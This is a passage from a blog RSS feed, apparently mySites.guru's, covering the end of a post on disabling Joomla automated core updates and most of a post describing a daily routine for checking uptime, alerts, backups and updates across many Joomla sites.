&lt;p&gt;Disabling Joomla’s built-in auto-updates isn’t the whole picture. Many web hosting control panels have their own auto-upgrade features that operate independently of Joomla’s settings. Softaculous, Installatron, and similar one-click installers bundled with cPanel, Plesk, and DirectAdmin can all be configured to auto-update Joomla and WordPress installations on a schedule. Some managed hosting providers enable this by default.&lt;/p&gt;
&lt;p&gt;This means you can disable auto-updates inside Joomla and still wake up to find your site was upgraded overnight by Softaculous. The hosting panel updates the files directly on disk - it doesn’t go through Joomla’s update mechanism at all, so TUF verification doesn’t apply and Joomla’s own auto-update setting is irrelevant.&lt;/p&gt;
&lt;p&gt;If you manage sites across multiple hosts, log into each hosting control panel and check:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Softaculous&lt;/strong&gt; - go to the installation’s edit page and look for “Auto Upgrade” and “Auto Upgrade Plugins” settings. Set both to “Do not Auto Upgrade.”&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Installatron&lt;/strong&gt; - check the “Automatic Update” option in the application’s settings&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Managed WordPress/Joomla hosts&lt;/strong&gt; - some providers (like WP Engine for WordPress, or Starter for Joomla) manage updates as part of the service. Review their update policies and opt out if your workflow requires it.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is easy to overlook, especially on client sites where someone else set up the hosting. Add it to your audit checklist.&lt;/p&gt;
&lt;h2&gt;What if auto-updates already ran on your sites?&lt;/h2&gt;
&lt;p&gt;If you’re finding out about this after an update already applied to one of your sites, here’s how to assess and recover:&lt;/p&gt;
&lt;h3&gt;1. Check what version was installed&lt;/h3&gt;
&lt;p&gt;Log into the Joomla admin panel and check the current CMS version under System → System Information. Compare it to what you expected. If the site was on 5.4.2 and is now on 5.4.3, that’s a minor patch - check the &lt;a href=&quot;https://www.joomla.org/announcements.html&quot;&gt;Joomla release notes&lt;/a&gt; for what changed.&lt;/p&gt;
&lt;h3&gt;2. Test the site thoroughly&lt;/h3&gt;
&lt;p&gt;Walk through the critical user paths: contact forms, login, search, any custom functionality, e-commerce checkout if applicable. Check the front-end and back-end for PHP errors. Look at the site’s error log for new entries timestamped around the update time.&lt;/p&gt;
&lt;h3&gt;3. Verify extensions are compatible&lt;/h3&gt;
&lt;p&gt;Open the Extensions → Manage → Manage panel and look for any extensions flagged with compatibility warnings. Check that &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;your Joomla extensions&lt;/a&gt; are all functioning correctly. Pay particular attention to &lt;a href=&quot;https://mysites.guru/blog/check-joomla-template-overrides-across-sites/&quot;&gt;template overrides&lt;/a&gt;, which can break when core HTML output changes.&lt;/p&gt;
&lt;h3&gt;4. Check for failed update artifacts&lt;/h3&gt;
&lt;p&gt;If an automated update failed partway through, you may find the site in an inconsistent state. Look for Joomla’s &lt;code&gt;administrator/cache/com_joomlaupdate&lt;/code&gt; directory and check if there are leftover update packages. A failed update that left partial files behind will need manual cleanup, either by re-running the update or restoring from backup. If the update stopped with “File Checksum Failed”, delete the leftover package zip from the site’s temp folder before re-running it, because Joomla reuses that file rather than downloading a fresh one (&lt;a href=&quot;https://mysites.guru/blog/joomla-file-checksum-failed/&quot;&gt;why File Checksum Failed happens&lt;/a&gt;).&lt;/p&gt;
&lt;h3&gt;5. Disable auto-updates immediately&lt;/h3&gt;
&lt;p&gt;Follow the methods above to prevent it from happening again. Then take a fresh &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;backup of your sites&lt;/a&gt; so you have a clean restore point going forward.&lt;/p&gt;
&lt;h2&gt;When Do Automated Joomla Updates Make Sense?&lt;/h2&gt;
&lt;p&gt;The feature isn’t universally bad. There are legitimate use cases:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Personal or hobby sites&lt;/strong&gt; with no third-party extensions and no maintenance contract&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Brochure sites&lt;/strong&gt; running vanilla Joomla with no custom code and minimal extension usage&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sites where no one is watching&lt;/strong&gt; - if the alternative is running an unpatched Joomla site for months, automated updates are the lesser risk&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If a site fits that profile, leaving automated updates enabled is reasonable. The core Joomla team built this feature to solve a problem: the massive number of Joomla sites running outdated, vulnerable versions because no one is maintaining them.&lt;/p&gt;
&lt;p&gt;But if you’re the person maintaining the site, testing updates, managing extensions, and guaranteeing uptime, then you should be the one deciding when updates happen.&lt;/p&gt;
&lt;h2&gt;How WordPress Handles This Differently&lt;/h2&gt;
&lt;p&gt;WordPress has had automatic background updates since version 3.7, and the same debates played out in that ecosystem years ago. If you manage WordPress sites alongside Joomla, you’ll recognize the pattern: the feature helps unmanaged sites stay patched, but agencies need more control. The recent &lt;a href=&quot;https://mysites.guru/blog/wordpress-6-9-2-security-release-crashes-websites/&quot;&gt;WordPress 6.9.2 incident&lt;/a&gt; - where a security auto-update crashed sites running certain theme frameworks - is a textbook example of why testing before deployment matters, regardless of the CMS.&lt;/p&gt;
&lt;p&gt;WordPress went a different direction on the security side, too. In 2016, Scott Arciszewski of Paragon Initiative Enterprises &lt;a href=&quot;https://seclists.org/oss-sec/2016/q4/478&quot;&gt;publicly disclosed&lt;/a&gt; that WordPress’s auto-update mechanism had no cryptographic signature verification - updates were checked with an MD5 hash provided by the same server serving the file, making &lt;code&gt;api.wordpress.org&lt;/code&gt; a single point of failure for roughly a quarter of all websites on the internet. His words: “If you manage to hack their infrastructure, you can push a false update to millions of WordPress blogs and get reliable remote code execution everywhere.” He built &lt;code&gt;sodium_compat&lt;/code&gt; (a PHP polyfill for Ed25519 signing) and submitted patches to &lt;a href=&quot;https://core.trac.wordpress.org/ticket/39309&quot;&gt;ticket #39309&lt;/a&gt;, but Matt Mullenweg told core developer Dion Hulse to stop working on it because it wasn’t among WordPress’s 2017 priorities - the Editor, Customizer, and REST API were. Mullenweg called it “a good idea” but “not a priority,” ranking it below weak passwords and users not updating their plugins. It took until WordPress 5.2 in May 2019 - three years after the disclosure - for Ed25519 signature verification to ship. And even then, WordPress rolled its own signing system rather than adopting TUF. Joomla, whatever your opinion of its auto-update implementation, at least built on an established, peer-reviewed security framework from day one.&lt;/p&gt;
&lt;p&gt;mySites.guru gives you the same control for both platforms. You can &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;stop WordPress automatic updates&lt;/a&gt; with a single toggle, or take the middle path and &lt;a href=&quot;https://mysites.guru/blog/enforce-minor-upgrades-only-wordpress/&quot;&gt;enforce minor-only core updates&lt;/a&gt; so security patches keep flowing while major version jumps are blocked. And now you can do the same for Joomla’s automated core updates. Same dashboard, same workflow, both CMS platforms covered.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Security issues reported&lt;/p&gt;
  &lt;p&gt;On 11 March 2026, while researching this article, two security issues with Joomla&apos;s automated update mechanism were identified and reported to the Joomla Security Strike Team by Phil Taylor.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://seclists.org/oss-sec/2016/q4/478&quot;&gt;WordPress (all versions): SPOF, RCE, and Negligence&lt;/a&gt; - Scott Arciszewski’s 2016 disclosure on oss-sec about WordPress’s lack of cryptographic signature verification in auto-updates.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://core.trac.wordpress.org/ticket/39309&quot;&gt;WordPress Trac #39309: Secure WordPress against infrastructure attacks&lt;/a&gt; - The ticket where Paragon Initiative’s patches for Ed25519 update signing were submitted, stalled, and eventually implemented in WordPress 5.2.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wptavern.com/matt-mullenweg-responds-to-security-rant-digital-signatures-for-wordpress-updates-are-important-but-not-a-priority&quot;&gt;Matt Mullenweg responds: digital signatures are important but not a priority&lt;/a&gt; - WP Tavern’s coverage of the dispute between Arciszewski and Mullenweg over update signing priorities.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.drupal.org/about/starshot/initiatives/automatic-updates&quot;&gt;Drupal Automatic Updates initiative&lt;/a&gt; - Drupal’s own auto-update project, with an honest acknowledgment that it’s not intended for enterprise organizations with existing build pipelines.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://brian.teeman.net/joomla/835-automatic-updates-for-joomla-are-a-bad-idea&quot;&gt;Automatic updates for Joomla! are a bad idea&lt;/a&gt; - Brian Teeman (Joomla co-founder) on why automatic updates are risky for professionally managed sites, written in 2014 but still relevant.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://magazine.joomla.org/all-issues/october-2025/automatic-core-updates-in-joomla&quot;&gt;Automatic core updates in Joomla&lt;/a&gt; - David Jardin’s official write-up in the Joomla Community Magazine on the architecture, TUF integration, and rationale.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomlers.uk/joomla-security/update-joomla-cms/automatic-core-joomla-updates&quot;&gt;Automatic Core Joomla Updates&lt;/a&gt; - Practical guide from Joomlers.uk with enable/disable steps and an agency perspective.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomill.com/knowledge-base/joomla/automatic-joomla-updates&quot;&gt;Automatic Joomla updates (Joomla 5.4+)&lt;/a&gt; - Joomill’s breakdown of configuration options and risk mitigation.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://joomla.digital-peak.com/blog/automated-testing-is-essential-for-joomla-cms-updates&quot;&gt;Automated testing is essential for Joomla CMS updates&lt;/a&gt; - Digital Peak on why automated updates need automated testing infrastructure to be safe at scale.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://theupdateframework.io/&quot;&gt;The Update Framework (TUF)&lt;/a&gt; - The official TUF project site: full specification, security model, and adopter list.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://magazine.joomla.org/all-issues/april-2024/tamper-proof-core-updates-for-joomla-tuf-making-it-into-5-1&quot;&gt;Tamper-proof core updates for Joomla - TUF making it into 5.1&lt;/a&gt; - How TUF was integrated into Joomla’s update system and what it protects against.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/php-tuf/php-tuf&quot;&gt;php-tuf/php-tuf&lt;/a&gt; - The PHP implementation of TUF used by Joomla, Drupal, and TYPO3 for cryptographic update verification.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/updates&quot;&gt;joomla/updates&lt;/a&gt; - Joomla’s signed TUF bootstrap repository with the cryptographic metadata that every Joomla 5.1+ site validates against.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla-projects/Automated-Updates-Server&quot;&gt;Joomla Automated-Updates-Server&lt;/a&gt; - The open-source Laravel app that orchestrates Joomla’s pull-based automated update cycle.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;Automatic updates for any Joomla extension&lt;/a&gt; - How to enable or disable automatic updates for individual Joomla extensions across all your connected sites.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Auto-update controls are covered in our &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;guide to managing CMS updates&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>updates</category><category>automated upgrades</category><category>joomla 6</category><category>site management</category><enclosure url="https://mysites.guru/img/og/blog/how-to-disable-joomla-automated-upgrades.png" length="0" type="image/png"/></item><item><title>Build a Morning Routine for Checking All Your Joomla Sites in 5 Minutes</title><link>https://mysites.guru/blog/how-to-build-morning-routine-checking-joomla-sites/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-build-morning-routine-checking-joomla-sites/</guid><description>A practical morning workflow for agency owners to check uptime, backups, updates, and alerts across hundreds of Joomla sites in under 5 minutes.</description><pubDate>Tue, 10 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Running an agency means juggling dozens (sometimes hundreds) of client sites. Joomla updates arrive, SSL certificates creep toward expiry, hosting providers have outages at 3am, and somebody always manages to get hacked over the weekend.&lt;/p&gt;
&lt;p&gt;You could spend your morning logging into each site individually, checking admin panels, refreshing hosting dashboards, and scrolling through email threads. Or you could do the whole thing in 5 minutes from a &lt;a href=&quot;https://mysites.guru/blog/the-best-dashboard-for-unlimited-joomla-and-wordpress-sites/&quot;&gt;single dashboard&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This post walks through a practical morning routine built around mySites.guru. It’s written for Joomla agencies, but every step applies equally to WordPress and generic PHP sites. The platform handles all three with &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;full feature parity&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Why Do You Need a Morning Routine at All?&lt;/h2&gt;
&lt;p&gt;“My sites are fine, I would know if something went wrong.”&lt;/p&gt;
&lt;p&gt;That’s the line every agency owner says right before a client calls to tell them their site has been down since Tuesday.&lt;/p&gt;
&lt;p&gt;Most site problems are silent. A failed backup doesn’t announce itself. An expired SSL certificate shows a scary browser warning to your client’s customers, but your client might not notice for days. A Joomla core update has been sitting in the queue for two weeks and the vulnerability it patches is being actively exploited.&lt;/p&gt;
&lt;p&gt;A structured morning check catches these problems early, before your client notices and before a small issue turns into an emergency.&lt;/p&gt;
&lt;p&gt;The routine below covers five areas:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Dashboard overview&lt;/strong&gt;: the 30-second scan&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Alerts and important items&lt;/strong&gt;: what broke overnight&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Uptime status&lt;/strong&gt;: which sites are actually responding&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Backup verification&lt;/strong&gt;: confirming your safety net exists&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update queue&lt;/strong&gt;: getting ahead of security patches&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Each step takes about a minute. The whole routine takes under five.&lt;/p&gt;
&lt;h2&gt;What Do You Need Before You Start?&lt;/h2&gt;
&lt;h3&gt;Step 0: Coffee. Always coffee.&lt;/h3&gt;
&lt;p&gt;Nothing good happens before coffee. Make it strong, make it hot, and bring it to your desk. The rest of this routine assumes caffeine is flowing. Phil gets his beans from &lt;a href=&quot;https://cooper.co.je/&quot;&gt;Cooper &amp;amp; Co&lt;/a&gt; in Jersey and grinds at home (not a sponsored link, just great coffee).&lt;/p&gt;
&lt;h3&gt;The tools you need&lt;/h3&gt;
&lt;p&gt;If you’re already using mySites.guru, skip ahead to Step 1. If not, here’s what the routine assumes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Your Joomla sites are connected to mySites.guru via the connector plugin. You can &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;add unlimited sites&lt;/a&gt; to your account - see the full guide to &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;managing multiple Joomla sites&lt;/a&gt; for setup details.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;Uptime monitoring&lt;/a&gt; is enabled for every site. The left sidebar shows a count of sites without a monitor, so you can spot any gaps.&lt;/li&gt;
&lt;li&gt;Backup schedules are configured. mySites.guru integrates with &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;Akeeba Backup for Joomla&lt;/a&gt; (free or professional) and All-in-One Migration for WordPress.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;Real-time alerts&lt;/a&gt; are turned on for events you care about: admin logins, configuration file changes, and SSL expiration warnings.&lt;/li&gt;
&lt;li&gt;You have organised your sites with tags (the “Site Group Tags” feature) so you can filter by client, server, or priority level.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All of this is one-time setup. Once it’s done, the morning routine is pure review.&lt;/p&gt;
&lt;h2&gt;Step 1: The 30-second dashboard scan&lt;/h2&gt;
&lt;p&gt;Log into your mySites.guru account. The first thing you see is the &lt;strong&gt;Your Sites&lt;/strong&gt; page, a list of every connected site with status indicators.&lt;/p&gt;
&lt;p&gt;But before you look at the list, look at the &lt;strong&gt;left sidebar&lt;/strong&gt;. This is where mySites.guru does the heavy lifting for you.&lt;/p&gt;
&lt;h3&gt;The Important Items section&lt;/h3&gt;
&lt;p&gt;The sidebar contains a section called &lt;strong&gt;Important Items&lt;/strong&gt; with live counters. These update automatically as snapshots run throughout the day. On a good morning, this section is empty. On a bad morning, you’ll see entries like Hacked Sites, sites where the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;security audit&lt;/a&gt; has detected malicious code - this is the red flag, and if you see this counter at any number above zero, deal with it first. Sites Not Connected means the mySites.guru connector plugin could not reach those sites, which could be a hosting outage, a DNS problem, or the plugin being accidentally removed. Core Update Needed lists sites running an outdated version of Joomla (or WordPress); click through to see exactly which versions are available. Invalid SSL Cert Install flags sites where the &lt;a href=&quot;https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/&quot;&gt;SSL certificate&lt;/a&gt; has expired, has a chain problem, or is misconfigured. No Uptime Monitor marks sites that are not being actively monitored for downtime, which are blind spots in your coverage. No Backup Schedule marks sites without an automated &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;backup schedule&lt;/a&gt;; if something goes wrong on one of these sites, there’s no safety net.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Tip: Make the sidebar your first glance&lt;/p&gt;
  &lt;p&gt;If every counter in the Important Items section is zero, your morning is off to a great start. If any counter is above zero, click it to go directly to the affected sites.&lt;/p&gt;
&lt;/div&gt;
&lt;h3&gt;Filtering by platform&lt;/h3&gt;
&lt;p&gt;Below the total site count, the sidebar breaks your sites down by platform: Joomla, WordPress, and generic PHP. If you are primarily a Joomla agency, clicking “Your Joomla Sites” filters the main list to show only Joomla sites. Useful when you want to focus your morning check on one platform at a time.&lt;/p&gt;
&lt;h3&gt;Using tags for priority&lt;/h3&gt;
&lt;p&gt;If you have set up &lt;a href=&quot;https://mysites.guru/blog/organise-client-sites-with-tags/&quot;&gt;Site Group Tags&lt;/a&gt;, they appear in the sidebar too. Many agencies create tags like “Priority Clients”, “Managed Hosting”, or “Monthly Retainer” so they can check their most important sites first. Click a tag to filter the site list instantly.&lt;/p&gt;
&lt;p&gt;This entire sidebar scan takes 30 seconds. You now know whether anything is on fire.&lt;/p&gt;
&lt;h2&gt;Step 2: Review overnight alerts&lt;/h2&gt;
&lt;p&gt;Before you dig into individual sites, check your email for mySites.guru alerts that arrived overnight.&lt;/p&gt;
&lt;p&gt;mySites.guru sends &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time alerts&lt;/a&gt; based on triggers you configure. Admin login alerts fire when someone logged into a Joomla or WordPress admin panel; if it happened at 3am and it wasn’t you or your team, that’s worth investigating. File change alerts fire when a monitored file (like &lt;code&gt;configuration.php&lt;/code&gt; on Joomla or &lt;code&gt;wp-config.php&lt;/code&gt; on WordPress) was modified - this is &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;near real-time detection&lt;/a&gt;, with the check running on every page load. Configuration change alerts fire when someone saved Global Configuration on a Joomla site. SSL expiration warnings fire when a certificate is approaching its &lt;a href=&quot;https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/&quot;&gt;expiration date&lt;/a&gt; within your configured grace period. Uptime alerts fire when a site failed to respond to three consecutive checks from multiple global locations.&lt;/p&gt;
&lt;h3&gt;Triage the alerts&lt;/h3&gt;
&lt;p&gt;Not every alert needs action. An admin login at 9am from your developer’s IP is expected. An admin login at 2am from an unfamiliar IP is not.&lt;/p&gt;
&lt;p&gt;For file change alerts, mySites.guru uses MD5 hash comparison on every page load. If a monitored file’s hash changes, you get notified immediately. Legitimate changes (like saving configuration after a Joomla update) trigger alerts too, and that’s intentional. You can &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;whitelist your own IP addresses&lt;/a&gt; to reduce noise from your own work.&lt;/p&gt;
&lt;h3&gt;Team alerts&lt;/h3&gt;
&lt;p&gt;If you have &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;team members&lt;/a&gt; on your account, each person can configure their own alert preferences per site. This means your on-call person gets the overnight alerts while everyone else reviews them during business hours.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Pro tip: Create an email filter&lt;/p&gt;
  &lt;p&gt;Set up a Gmail or Outlook filter that labels mySites.guru alert emails and sorts them into a dedicated folder. Your morning check becomes: open the folder, scan the subjects, act on anything unexpected.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Step 3: Check uptime status&lt;/h2&gt;
&lt;p&gt;Click through to the uptime monitoring overview in your mySites.guru account. This screen shows every connected site with its current status: up or down.&lt;/p&gt;
&lt;p&gt;mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;built-in uptime engine&lt;/a&gt; checks your sites every minute. If the initial HEAD request fails, it retries with a GET request, then tries again from a different global location. Only after all three attempts fail does it send a downtime alert.&lt;/p&gt;
&lt;h3&gt;What to look for&lt;/h3&gt;
&lt;p&gt;Currently down sites are the obvious one, but they need immediate attention: if a site is down right now, your client’s visitors are seeing an error page. Response time trends matter too - mySites.guru shows the last 24 hours of response times for each site, and a site that is technically “up” but responding in 8 seconds has a performance problem that needs investigating; use this to spot hosting issues before they become outages. Repeated short outages are worth watching as well: some hosting environments have brief hiccups that resolve themselves, but if you see a pattern of short downtimes on the same site, it usually points to resource limits, cron job conflicts, or a server under strain.&lt;/p&gt;
&lt;h3&gt;Sites without monitors&lt;/h3&gt;
&lt;p&gt;Remember that “No Uptime Monitor” counter from the sidebar? If it’s above zero, add monitors to those sites now. It takes seconds. mySites.guru &lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;monitors every connected site at no extra cost&lt;/a&gt;, so there’s no reason to leave gaps.&lt;/p&gt;
&lt;h2&gt;Step 4: Verify backup status&lt;/h2&gt;
&lt;p&gt;Navigate to the &lt;strong&gt;Scheduled Backups&lt;/strong&gt; page. This is where you confirm that your automated backups are actually running.&lt;/p&gt;
&lt;h3&gt;The backup schedule overview&lt;/h3&gt;
&lt;p&gt;The Scheduled Backups page lists every site with a configured backup schedule, showing:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;When the last backup completed&lt;/li&gt;
&lt;li&gt;Whether the backup succeeded or failed&lt;/li&gt;
&lt;li&gt;Which backup profile was used&lt;/li&gt;
&lt;li&gt;When the next scheduled backup is due&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Sites are sorted so the ones that need attention appear first: failed backups, missed schedules, and sites that have not been backed up recently.&lt;/p&gt;
&lt;h3&gt;Common backup issues&lt;/h3&gt;
&lt;h3&gt;Failed backups&lt;/h3&gt;
&lt;p&gt;Usually mean the backup process timed out, the hosting server ran out of memory, &lt;a href=&quot;https://mysites.guru/blog/akeeba-admin-tools-htaccess-maker-mysites-guru-exception/&quot;&gt;Akeeba Admin Tools has banned our IP&lt;/a&gt;, or the &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;Akeeba Backup&lt;/a&gt; profile needs adjustment. Click into the failed backup for error details.&lt;/p&gt;
&lt;h3&gt;Missing schedules&lt;/h3&gt;
&lt;p&gt;Already flagged by the sidebar’s “No Backup Schedule” counter. Sites without a schedule are not being backed up automatically. Fix this by setting a default backup profile on the site’s Settings tab.&lt;/p&gt;
&lt;h3&gt;Stale backups&lt;/h3&gt;
&lt;p&gt;Happen when a schedule is configured but the last backup was weeks ago. This can occur if the Akeeba Backup component was updated and the profile needs reconfiguration.&lt;/p&gt;
&lt;h3&gt;The one-click backup option&lt;/h3&gt;
&lt;p&gt;If you see a site that needs an immediate backup, maybe because you’re about to push an update and want a fresh restore point, you can trigger a backup directly from this page. The backup runs in the background on the mySites.guru server queue; you don’t need to keep your browser open.&lt;/p&gt;
&lt;p&gt;For bulk operations, the &lt;strong&gt;“Start Backup Of All Sites Visible Below”&lt;/strong&gt; button queues backups for every site on the page. Filter the list first (by tag, platform, or search) to target specific groups.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Remember: an untested backup is worthless&lt;/p&gt;
  &lt;p&gt;Periodically restore a backup to a staging environment and verify it works. Knowing your backups exist is not the same as knowing they will work when you need them.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Step 5: Review the update queue&lt;/h2&gt;
&lt;p&gt;Last step. Open the update queue to see which Joomla core versions and extensions have updates available.&lt;/p&gt;
&lt;h3&gt;Core updates&lt;/h3&gt;
&lt;p&gt;The sidebar’s “Core Update Needed” counter already told you how many sites are behind. Click through to see the specific versions. mySites.guru supports &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass upgrades&lt;/a&gt;, so you can select individual sites or all of them and queue the upgrades in one operation.&lt;/p&gt;
&lt;p&gt;The process:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Backup first.&lt;/strong&gt; Always take a fresh backup before upgrading. Use the bulk backup button from Step 4.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Queue the upgrades.&lt;/strong&gt; Select the sites, click upgrade, and the queue processes them in the background. You’ll hear a success sound for each completed upgrade if you keep the tab open.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verify after.&lt;/strong&gt; Trigger a fresh &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; on the upgraded sites to confirm everything is healthy.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Extension and plugin updates&lt;/h3&gt;
&lt;p&gt;Beyond core updates, mySites.guru tracks every extension and plugin installed on your Joomla sites. The snapshot collects this information automatically, and if an update is available, it appears in the update queue.&lt;/p&gt;
&lt;p&gt;You can &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;enable automatic updates&lt;/a&gt; for specific extensions on a per-site or per-extension basis. When the next snapshot runs and detects an available update for an auto-update-enabled extension, mySites.guru applies it and notifies you of the result.&lt;/p&gt;
&lt;p&gt;For extensions you prefer to update manually (maybe you want to test them on a staging site first, or the extension has a history of breaking changes), leave auto-update off and review them during this morning check.&lt;/p&gt;
&lt;h3&gt;Prioritise security updates&lt;/h3&gt;
&lt;p&gt;Not all updates are equal. A Joomla security patch that fixes an actively exploited vulnerability should be applied the same morning you see it. A minor version bump for a gallery plugin can wait until your next maintenance window.&lt;/p&gt;
&lt;p&gt;mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;vulnerability alerting&lt;/a&gt; flags known security issues in extensions, helping you tell the difference between “update at your convenience” and “update right now.”&lt;/p&gt;
&lt;h2&gt;The complete routine at a glance&lt;/h2&gt;
&lt;p&gt;The full routine as a daily checklist:&lt;/p&gt;
&lt;h3&gt;0:00-0:30 | Dashboard scan&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Log in and check the Important Items sidebar counters&lt;/li&gt;
&lt;li&gt;If any counter is above zero, click through to the affected sites&lt;/li&gt;
&lt;li&gt;Filter by platform or tag if needed&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;0:30-1:30 | Alert review&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Scan overnight alert emails for unexpected admin logins, file changes, or downtime&lt;/li&gt;
&lt;li&gt;Triage: expected activity vs. suspicious activity&lt;/li&gt;
&lt;li&gt;Investigate anything unusual&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1:30-2:30 | Uptime check&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Review the uptime monitoring overview&lt;/li&gt;
&lt;li&gt;Check for currently down sites&lt;/li&gt;
&lt;li&gt;Look at response time trends for performance issues&lt;/li&gt;
&lt;li&gt;Add monitors to any unmonitored sites&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2:30-3:30 | Backup verification&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Open the Scheduled Backups page&lt;/li&gt;
&lt;li&gt;Check for failed or stale backups&lt;/li&gt;
&lt;li&gt;Trigger manual backups if needed&lt;/li&gt;
&lt;li&gt;Ensure every site has a backup schedule&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3:30-5:00 | Update queue&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Review pending core updates&lt;/li&gt;
&lt;li&gt;Back up affected sites, then queue the upgrades&lt;/li&gt;
&lt;li&gt;Check extension updates and apply or schedule them&lt;/li&gt;
